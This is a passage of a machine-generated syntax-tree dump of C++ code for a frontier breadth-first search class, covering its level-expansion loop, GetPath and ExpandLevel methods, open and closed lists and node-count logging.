(if_statement) "if ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n {\n n = nodesExpanded;\n if (mOpen1.size() == 0)\n {\n std::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }\n depth++; \n }\n else {\n return true;\n }" (if) "if" (parenthesized_expression) "((mOpen1.size() != 0) || (mOpen2.size() != 0))" (() "(" (binary_expression) "(mOpen1.size() != 0) || (mOpen2.size() != 0)" (parenthesized_expression) "(mOpen1.size() != 0)" (() "(" (binary_expression) "mOpen1.size() != 0" (call_expression) "mOpen1.size()" (field_expression) "mOpen1.size" (identifier) "mOpen1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (!=) "!=" (number_literal) "0" ()) ")" (||) "||" (parenthesized_expression) "(mOpen2.size() != 0)" (() "(" (binary_expression) "mOpen2.size() != 0" (call_expression) "mOpen2.size()" (field_expression) "mOpen2.size" (identifier) "mOpen2" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (!=) "!=" (number_literal) "0" ()) ")" ()) ")" (compound_statement) "{\n n = nodesExpanded;\n if (mOpen1.size() == 0)\n {\n std::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }\n depth++; \n }" ({) "{" (expression_statement) "n = nodesExpanded;" (assignment_expression) "n = nodesExpanded" (identifier) "n" (=) "=" (identifier) "nodesExpanded" (;) ";" (if_statement) "if (mOpen1.size() == 0)\n {\n std::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }" (if) "if" (parenthesized_expression) "(mOpen1.size() == 0)" (() "(" (binary_expression) "mOpen1.size() == 0" (call_expression) "mOpen1.size()" (field_expression) "mOpen1.size" (identifier) "mOpen1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (==) "==" (number_literal) "0" ()) ")" (compound_statement) "{\n std::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }" ({) "{" (labeled_statement) "std::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;" (statement_identifier) "std" (ERROR) "::cout << mOpen2.front() << std::endl << mOpen2.back() << std:" (:) ":" (:) ":" (binary_expression) "cout << mOpen2.front() << std" (binary_expression) "cout << mOpen2.front()" (identifier) "cout" (<<) "<<" (call_expression) "mOpen2.front()" (field_expression) "mOpen2.front" (identifier) "mOpen2" (.) "." (field_identifier) "front" (argument_list) "()" (() "(" ()) ")" (<<) "<<" (identifier) "std" (:) ":" (:) ":" (binary_expression) "endl << mOpen2.back() << std" (binary_expression) "endl << mOpen2.back()" (identifier) "endl" (<<) "<<" (call_expression) "mOpen2.back()" (field_expression) "mOpen2.back" (identifier) "mOpen2" (.) "." (field_identifier) "back" (argument_list) "()" (() "(" ()) ")" (<<) "<<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "endl;" (identifier) "endl" (;) ";" (expression_statement) "ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);" (call_expression) "ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1)" (identifier) "ExpandLevel" (argument_list) "(env, mOpen2, mClosed2, mOpen1, mClosed1)" (() "(" (identifier) "env" (,) "," (identifier) "mOpen2" (,) "," (identifier) "mClosed2" (,) "," (identifier) "mOpen1" (,) "," (identifier) "mClosed1" ()) ")" (;) ";" (expression_statement) "mClosed1.clear();" (call_expression) "mClosed1.clear()" (field_expression) "mClosed1.clear" (identifier) "mClosed1" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }" (else) "else" (compound_statement) "{\n std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }" ({) "{" (labeled_statement) "std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;" (statement_identifier) "std" (ERROR) "::cout << mOpen1.front() << std::endl << mOpen1.back() << std:" (:) ":" (:) ":" (binary_expression) "cout << mOpen1.front() << std" (binary_expression) "cout << mOpen1.front()" (identifier) "cout" (<<) "<<" (call_expression) "mOpen1.front()" (field_expression) "mOpen1.front" (identifier) "mOpen1" (.) "." (field_identifier) "front" (argument_list) "()" (() "(" ()) ")" (<<) "<<" (identifier) "std" (:) ":" (:) ":" (binary_expression) "endl << mOpen1.back() << std" (binary_expression) "endl << mOpen1.back()" (identifier) "endl" (<<) "<<" (call_expression) "mOpen1.back()" (field_expression) "mOpen1.back" (identifier) "mOpen1" (.) "." (field_identifier) "back" (argument_list) "()" (() "(" ()) ")" (<<) "<<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "endl;" (identifier) "endl" (;) ";" (expression_statement) "ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);" (call_expression) "ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2)" (identifier) "ExpandLevel" (argument_list) "(env, mOpen1, mClosed1, mOpen2, mClosed2)" (() "(" (identifier) "env" (,) "," (identifier) "mOpen1" (,) "," (identifier) "mClosed1" (,) "," (identifier) "mOpen2" (,) "," (identifier) "mClosed2" ()) ")" (;) ";" (expression_statement) "mClosed2.clear();" (call_expression) "mClosed2.clear()" (field_expression) "mClosed2.clear" (identifier) "mClosed2" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (expression_statement) "depth++;" (update_expression) "depth++" (identifier) "depth" (++) "++" (;) ";" (}) "}" (else_clause) "else {\n return true;\n }" (else) "else" (compound_statement) "{\n return true;\n }" ({) "{" (return_statement) "return true;" (return) "return" (true) "true" (;) ";" (}) "}" (expression_statement) "printf("Depth %d complete; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());" (call_expression) "printf("Depth %d complete; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size())" (identifier) "printf" (argument_list) "("Depth %d complete; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size())" (() "(" (string_literal) ""Depth %d complete; nodes expanded %lld (%lld new); %d in memory\n"" (") """ (string_content) "Depth %d complete; nodes expanded %lld (%lld new); %d in memory" (escape_sequence) "\n" (") """ (,) "," (identifier) "depth" (,) "," (identifier) "nodesExpanded" (,) "," (binary_expression) "nodesExpanded - n" (identifier) "nodesExpanded" (-) "-" (identifier) "n" (,) "," (binary_expression) "mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size()" (binary_expression) "mOpen1.size()+mOpen2.size()+mClosed1.size()" (binary_expression) "mOpen1.size()+mOpen2.size()" (call_expression) "mOpen1.size()" (field_expression) "mOpen1.size" (identifier) "mOpen1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (+) "+" (call_expression) "mOpen2.size()" (field_expression) "mOpen2.size" (identifier) "mOpen2" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (+) "+" (call_expression) "mClosed1.size()" (field_expression) "mClosed1.size" (identifier) "mClosed1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (+) "+" (call_expression) "mClosed2.size()" (field_expression) "mClosed2.size" (identifier) "mClosed2" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (if_statement) "if ((mOpen1.size() == 0) && (mOpen2.size() == 0))\n return true;" (if) "if" (parenthesized_expression) "((mOpen1.size() == 0) && (mOpen2.size() == 0))" (() "(" (binary_expression) "(mOpen1.size() == 0) && (mOpen2.size() == 0)" (parenthesized_expression) "(mOpen1.size() == 0)" (() "(" (binary_expression) "mOpen1.size() == 0" (call_expression) "mOpen1.size()" (field_expression) "mOpen1.size" (identifier) "mOpen1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (==) "==" (number_literal) "0" ()) ")" (&&) "&&" (parenthesized_expression) "(mOpen2.size() == 0)" (() "(" (binary_expression) "mOpen2.size() == 0" (call_expression) "mOpen2.size()" (field_expression) "mOpen2.size" (identifier) "mOpen2" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (==) "==" (number_literal) "0" ()) ")" ()) ")" (return_statement) "return true;" (return) "return" (true) "true" (;) ";" (return_statement) "return false;" (return) "return" (false) "false" (;) ";" (ERROR) "}" (}) "}" (expression_statement) "template <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<state> &thePath)\n{\n nodesExpanded = nodesTouched = 0;" (comma_expression) "template <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<state> &thePath)\n{\n nodesExpanded = nodesTouched = 0" (binary_expression) "template <class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "state" (identifier) "state" (,) "," (ERROR) "class" (identifier) "class" (comma_expression) "action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<state> &thePath)\n{\n nodesExpanded = nodesTouched = 0" (binary_expression) "action>\nvoid FrontierBFS<state" (binary_expression) "action>\nvoid FrontierBFS" (identifier) "action" (>) ">" (ERROR) "void" (identifier) "void" (identifier) "FrontierBFS" (<) "<" (identifier) "state" (,) "," (binary_expression) "action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<state> &thePath)\n{\n nodesExpanded = nodesTouched = 0" (identifier) "action" (>) ">" (ERROR) "::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<state> &thePath)\n{" (:) ":" (:) ":" (call_expression) "GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<state> &thePath)" (identifier) "GetPath" (argument_list) "(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<state> &thePath)" (() "(" (binary_expression) "SearchEnvironment<state" (identifier) "SearchEnvironment" (<) "<" (identifier) "state" (,) "," (binary_expression) "action> *env" (identifier) "action" (>) ">" (pointer_expression) "*env" (*) "*" (identifier) "env" (,) "," (binary_expression) "state &from" (identifier) "state" (&) "&" (identifier) "from" (,) "," (binary_expression) "state &to" (identifier) "state" (&) "&" (identifier) "to" (,) "," (ERROR) "std::" (identifier) "std" (:) ":" (:) ":" (binary_expression) "vector<state> &thePath" (binary_expression) "vector<state" (identifier) "vector" (<) "<" (identifier) "state" (>) ">" (pointer_expression) "&thePath" (&) "&" (identifier) "thePath" ()) ")" ({) "{" (assignment_expression) "nodesExpanded = nodesTouched = 0" (identifier) "nodesExpanded" (=) "=" (assignment_expression) "nodesTouched = 0" (identifier) "nodesTouched" (=) "=" (number_literal) "0" (;) ";" (expression_statement) "mOpen1.clear();" (call_expression) "mOpen1.clear()" (field_expression) "mOpen1.clear" (identifier) "mOpen1" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mOpen2.clear();" (call_expression) "mOpen2.clear()" (field_expression) "mOpen2.clear" (identifier) "mOpen2" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mClosed1.clear();" (call_expression) "mClosed1.clear()" (field_expression) "mClosed1.clear" (identifier) "mClosed1" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mClosed2.clear();" (call_expression) "mClosed2.clear()" (field_expression) "mClosed2.clear" (identifier) "mClosed2" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "mOpen1.push_back(from);" (call_expression) "mOpen1.push_back(from)" (field_expression) "mOpen1.push_back" (identifier) "mOpen1" (.) "." (field_identifier) "push_back" (argument_list) "(from)" (() "(" (identifier) "from" ()) ")" (;) ";" (expression_statement) "depth = 0;" (assignment_expression) "depth = 0" (identifier) "depth" (=) "=" (number_literal) "0" (;) ";" (declaration) "uint64_t n = nodesExpanded;" (primitive_type) "uint64_t" (init_declarator) "n = nodesExpanded" (identifier) "n" (=) "=" (identifier) "nodesExpanded" (;) ";" (while_statement) "while ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n {\n printf("Depth %d; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n n = nodesExpanded;\n if (mOpen1.size() == 0)\n {\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }\n depth++; \n }" (while) "while" (parenthesized_expression) "((mOpen1.size() != 0) || (mOpen2.size() != 0))" (() "(" (binary_expression) "(mOpen1.size() != 0) || (mOpen2.size() != 0)" (parenthesized_expression) "(mOpen1.size() != 0)" (() "(" (binary_expression) "mOpen1.size() != 0" (call_expression) "mOpen1.size()" (field_expression) "mOpen1.size" (identifier) "mOpen1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (!=) "!=" (number_literal) "0" ()) ")" (||) "||" (parenthesized_expression) "(mOpen2.size() != 0)" (() "(" (binary_expression) "mOpen2.size() != 0" (call_expression) "mOpen2.size()" (field_expression) "mOpen2.size" (identifier) "mOpen2" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (!=) "!=" (number_literal) "0" ()) ")" ()) ")" (compound_statement) "{\n printf("Depth %d; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n n = nodesExpanded;\n if (mOpen1.size() == 0)\n {\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }\n depth++; \n }" ({) "{" (expression_statement) "printf("Depth %d; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());" (call_expression) "printf("Depth %d; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size())" (identifier) "printf" (argument_list) "("Depth %d; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n,\n mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size())" (() "(" (string_literal) ""Depth %d; nodes expanded %lld (%lld new); %d in memory\n"" (") """ (string_content) "Depth %d; nodes expanded %lld (%lld new); %d in memory" (escape_sequence) "\n" (") """ (,) "," (identifier) "depth" (,) "," (identifier) "nodesExpanded" (,) "," (binary_expression) "nodesExpanded - n" (identifier) "nodesExpanded" (-) "-" (identifier) "n" (,) "," (binary_expression) "mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size()" (binary_expression) "mOpen1.size()+mOpen2.size()+mClosed1.size()" (binary_expression) "mOpen1.size()+mOpen2.size()" (call_expression) "mOpen1.size()" (field_expression) "mOpen1.size" (identifier) "mOpen1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (+) "+" (call_expression) "mOpen2.size()" (field_expression) "mOpen2.size" (identifier) "mOpen2" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (+) "+" (call_expression) "mClosed1.size()" (field_expression) "mClosed1.size" (identifier) "mClosed1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (+) "+" (call_expression) "mClosed2.size()" (field_expression) "mClosed2.size" (identifier) "mClosed2" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (expression_statement) "n = nodesExpanded;" (assignment_expression) "n = nodesExpanded" (identifier) "n" (=) "=" (identifier) "nodesExpanded" (;) ";" (if_statement) "if (mOpen1.size() == 0)\n {\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }\n else {\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }" (if) "if" (parenthesized_expression) "(mOpen1.size() == 0)" (() "(" (binary_expression) "mOpen1.size() == 0" (call_expression) "mOpen1.size()" (field_expression) "mOpen1.size" (identifier) "mOpen1" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (==) "==" (number_literal) "0" ()) ")" (compound_statement) "{\n ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n mClosed1.clear();\n }" ({) "{" (expression_statement) "ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);" (call_expression) "ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1)" (identifier) "ExpandLevel" (argument_list) "(env, mOpen2, mClosed2, mOpen1, mClosed1)" (() "(" (identifier) "env" (,) "," (identifier) "mOpen2" (,) "," (identifier) "mClosed2" (,) "," (identifier) "mOpen1" (,) "," (identifier) "mClosed1" ()) ")" (;) ";" (expression_statement) "mClosed1.clear();" (call_expression) "mClosed1.clear()" (field_expression) "mClosed1.clear" (identifier) "mClosed1" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }" (else) "else" (compound_statement) "{\n ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n mClosed2.clear();\n }" ({) "{" (expression_statement) "ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);" (call_expression) "ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2)" (identifier) "ExpandLevel" (argument_list) "(env, mOpen1, mClosed1, mOpen2, mClosed2)" (() "(" (identifier) "env" (,) "," (identifier) "mOpen1" (,) "," (identifier) "mClosed1" (,) "," (identifier) "mOpen2" (,) "," (identifier) "mClosed2" ()) ")" (;) ";" (expression_statement) "mClosed2.clear();" (call_expression) "mClosed2.clear()" (field_expression) "mClosed2.clear" (identifier) "mClosed2" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (expression_statement) "depth++;" (update_expression) "depth++" (identifier) "depth" (++) "++" (;) ";" (}) "}" (ERROR) "}" (}) "}" (expression_statement) "template <class state, class action>\nvoid FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)" (comma_expression) "template <class state, class action>\nvoid FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)" (binary_expression) "template <class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "state" (identifier) "state" (,) "," (ERROR) "class" (identifier) "class" (comma_expression) "action>\nvoid FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)" (binary_expression) "action>\nvoid FrontierBFS<state" (binary_expression) "action>\nvoid FrontierBFS" (identifier) "action" (>) ">" (ERROR) "void" (identifier) "void" (identifier) "FrontierBFS" (<) "<" (identifier) "state" (,) "," (binary_expression) "action>::ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)" (identifier) "action" (>) ">" (ERROR) "::" (:) ":" (:) ":" (call_expression) "ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)" (identifier) "ExpandLevel" (argument_list) "(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList)" (() "(" (binary_expression) "SearchEnvironment<state" (identifier) "SearchEnvironment" (<) "<" (identifier) "state" (,) "," (binary_expression) "action> *env" (identifier) "action" (>) ">" (pointer_expression) "*env" (*) "*" (identifier) "env" (,) "," (ERROR) "std::" (identifier) "std" (:) ":" (:) ":" (binary_expression) "deque<state> &currentOpenList" (binary_expression) "deque<state" (identifier) "deque" (<) "<" (identifier) "state" (>) ">" (pointer_expression) "&currentOpenList" (&) "&" (identifier) "currentOpenList" (,) "," (binary_expression) "FrontierBFSClosedList &currentClosedList" (identifier) "FrontierBFSClosedList" (&) "&" (identifier) "currentClosedList" (,) "," (ERROR) "std::" (identifier) "std" (:) ":" (:) ":" (binary_expression) "deque<state> &nextOpenList" (binary_expression) "deque<state" (identifier) "deque" (<) "<" (identifier) "state" (>) ">" (pointer_expression) "&nextOpenList" (&) "&" (identifier) "nextOpenList" (,) "," (binary_expression) "FrontierBFSClosedList &lastClosedList" (identifier) "FrontierBFSClosedList" (&) "&" (identifier) "lastClosedList" ()) ")" (;) "" (compound_statement) "{\n static std::vector<state> neighbors;\n neighbors.resize(0);\n while (currentOpenList.size() > 0)\n {\n state s = currentOpenList.front();\n currentOpenList.pop_front();\n \n if (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n {\n// printf("Needed to check against current\n");\n continue;\n }\n// if (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end())\n// {\n// printf("Needed to check against last\n");\n// continue;\n// }\n \n currentClosedList[env->GetStateHash(s)] = true;\n \n nodesExpanded++;\n env->GetSuccessors(s, neighbors);\n for (unsigned int x = 0; x < neighbors.size(); x++)\n {\n if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n continue;\n if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n continue;\n\n nextOpenList.push_back(neighbors[x]);\n }\n }\n}" ({) "{" (declaration) "static std::vector<state> neighbors;" (storage_class_specifier) "static" (static) "static" (type_identifier) "std" (ERROR) "::vector<state>" (:) ":" (:) ":" (identifier) "vector" (<) "<" (identifier) "state" (>) ">" (identifier) "neighbors" (;) ";" (expression_statement) "neighbors.resize(0);" (call_expression) "neighbors.resize(0)" (field_expression) "neighbors.resize" (identifier) "neighbors" (.) "." (field_identifier) "resize" (argument_list) "(0)" (() "(" (number_literal) "0" ()) ")" (;) ";" (while_statement) "while (currentOpenList.size() > 0)\n {\n state s = currentOpenList.front();\n currentOpenList.pop_front();\n \n if (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n {\n// printf("Needed to check against current\n");\n continue;\n }\n// if (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end())\n// {\n// printf("Needed to check against last\n");\n// continue;\n// }\n \n currentClosedList[env->GetStateHash(s)] = true;\n \n nodesExpanded++;\n env->GetSuccessors(s, neighbors);\n for (unsigned int x = 0; x < neighbors.size(); x++)\n {\n if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n continue;\n if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n continue;\n\n nextOpenList.push_back(neighbors[x]);\n }\n }" (while) "while" (parenthesized_expression) "(currentOpenList.size() > 0)" (() "(" (binary_expression) "currentOpenList.size() > 0" (call_expression) "currentOpenList.size()" (field_expression) "currentOpenList.size" (identifier) "currentOpenList" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (>) ">" (number_literal) "0" ()) ")" (compound_statement) "{\n state s = currentOpenList.front();\n currentOpenList.pop_front();\n \n if (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n {\n// printf("Needed to check against current\n");\n continue;\n }\n// if (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end())\n// {\n// printf("Needed to check against last\n");\n// continue;\n// }\n \n currentClosedList[env->GetStateHash(s)] = true;\n \n nodesExpanded++;\n env->GetSuccessors(s, neighbors);\n for (unsigned int x = 0; x < neighbors.size(); x++)\n {\n if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n continue;\n if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n continue;\n\n nextOpenList.push_back(neighbors[x]);\n }\n }" ({) "{" (declaration) "state s = currentOpenList.front();" (type_identifier) "state" (init_declarator) "s = currentOpenList.front()" (identifier) "s" (=) "=" (call_expression) "currentOpenList.front()" (field_expression) "currentOpenList.front" (identifier) "currentOpenList" (.) "." (field_identifier) "front" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "currentOpenList.pop_front();" (call_expression) "currentOpenList.pop_front()" (field_expression) "currentOpenList.pop_front" (identifier) "currentOpenList" (.) "." (field_identifier) "pop_front" (argument_list) "()" (() "(" ()) ")" (;) ";" (if_statement) "if (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n {\n// printf("Needed to check against current\n");\n continue;\n }" (if) "if" (parenthesized_expression) "(currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())" (() "(" (binary_expression) "currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end()" (call_expression) "currentClosedList.find(env->GetStateHash(s))" (field_expression) "currentClosedList.find" (identifier) "currentClosedList" (.) "." (field_identifier) "find" (argument_list) "(env->GetStateHash(s))" (() "(" (call_expression) "env->GetStateHash(s)" (field_expression) "env->GetStateHash" (identifier) "env" (->) "->" (field_identifier) "GetStateHash" (argument_list) "(s)" (() "(" (identifier) "s" ()) ")" ()) ")" (!=) "!=" (call_expression) "currentClosedList.end()" (field_expression) "currentClosedList.end" (identifier) "currentClosedList" (.) "." (field_identifier) "end" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n// printf("Needed to check against current\n");\n continue;\n }" ({) "{" (comment) "// printf("Needed to check against current\n");" (continue_statement) "continue;" (continue) "continue" (;) ";" (}) "}" (comment) "// if (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end())" (comment) "// {" (comment) "// printf("Needed to check against last\n");" (comment) "// continue;" (comment) "// }" (expression_statement) "currentClosedList[env->GetStateHash(s)] = true;" (assignment_expression) "currentClosedList[env->GetStateHash(s)] = true" (subscript_expression) "currentClosedList[env->GetStateHash(s)]" (identifier) "currentClosedList" ([) "[" (call_expression) "env->GetStateHash(s)" (field_expression) "env->GetStateHash" (identifier) "env" (->) "->" (field_identifier) "GetStateHash" (argument_list) "(s)" (() "(" (identifier) "s" ()) ")" (]) "]" (=) "=" (true) "true" (;) ";" (expression_statement) "nodesExpanded++;" (update_expression) "nodesExpanded++" (identifier) "nodesExpanded" (++) "++" (;) ";" (expression_statement) "env->GetSuccessors(s, neighbors);" (call_expression) "env->GetSuccessors(s, neighbors)" (field_expression) "env->GetSuccessors" (identifier) "env" (->) "->" (field_identifier) "GetSuccessors" (argument_list) "(s, neighbors)" (() "(" (identifier) "s" (,) "," (identifier) "neighbors" ()) ")" (;) ";" (for_statement) "for (unsigned int x = 0; x < neighbors.size(); x++)\n {\n if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n continue;\n if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n continue;\n\n nextOpenList.push_back(neighbors[x]);\n }" (for) "for" (() "(" (declaration) "unsigned int x = 0;" (sized_type_specifier) "unsigned int" (unsigned) "unsigned" (primitive_type) "int" (init_declarator) "x = 0" (identifier) "x" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "x < neighbors.size()" (identifier) "x" (<) "<" (call_expression) "neighbors.size()" (field_expression) "neighbors.size" (identifier) "neighbors" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (;) ";" (update_expression) "x++" (identifier) "x" (++) "++" ()) ")" (compound_statement) "{\n if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n continue;\n if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n continue;\n\n nextOpenList.push_back(neighbors[x]);\n }" ({) "{" (if_statement) "if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n continue;" (if) "if" (parenthesized_expression) "(currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())" (() "(" (binary_expression) "currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end()" (call_expression) "currentClosedList.find(env->GetStateHash(neighbors[x]))" 